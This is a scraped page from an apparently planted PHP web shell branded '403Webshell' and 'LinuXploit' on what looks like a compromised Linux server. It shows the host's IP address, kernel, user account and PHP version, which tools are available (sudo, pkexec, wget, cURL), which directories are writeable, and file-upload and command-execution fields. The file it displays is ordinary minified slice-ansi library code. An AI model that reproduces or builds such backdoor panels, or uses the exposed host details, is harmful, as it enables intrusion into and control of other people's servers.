403Webshell
Server IP : 173.236.223.38  /  Your IP : 216.73.216.33
Web Server : Apache
System : Linux vps62975 6.8.0-83-generic #83~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Sep 9 18:19:47 UTC 2 x86_64
User : invmicvps ( 6727287)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/nodejs/slice-ansi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/nodejs/slice-ansi/index.cjs
const e=require("is-fullwidth-code-point"),t=require("ansi-styles"),s=/^[\uD800-\uDBFF][\uDC00-\uDFFF]$/,i=["","›"],o=e=>`${i[0]}[${e}m`,n=(e,s,i)=>{let n=[];e=[...e];for(let i of e){const r=i;i.includes(";")&&(i=i.split(";")[0][0]+"0");const u=t.codes.get(Number.parseInt(i,10));if(u){const t=e.indexOf(u.toString());-1===t?n.push(o(s?u:r)):e.splice(t,1)}else{if(s){n.push(o(0));break}n.push(o(r))}}if(s&&(n=n.filter((e,t)=>n.indexOf(e)===t),void 0!==i)){const e=o(t.codes.get(Number.parseInt(i,10)));n=n.reduce((t,s)=>s===e?[s,...t]:[...t,s],[])}return n.join("")};module.exports=function(t,o,r){const u=[...t],l=[];let c,f="number"==typeof r?r:u.length,d=!1,p=0,m="";for(const[h,b]of u.entries()){let u=!1;if(i.includes(b)){const e=/\d[^m]*/.exec(t.slice(h,h+18));c=e&&e.length>0?e[0]:void 0,p<f&&(d=!0,void 0!==c&&l.push(c))}else d&&"m"===b&&(d=!1,u=!0);if(d||u||p++,!s.test(b)&&e(b.codePointAt())&&(p++,"number"!=typeof r&&f++),p>o&&p<=f)m+=b;else if(p!==o||d||void 0===c){if(p>=f){m+=n(l,!0,c);break}}else m=n(l)}return m};

Youez - 2016 - github.com/yon3zu
LinuXploit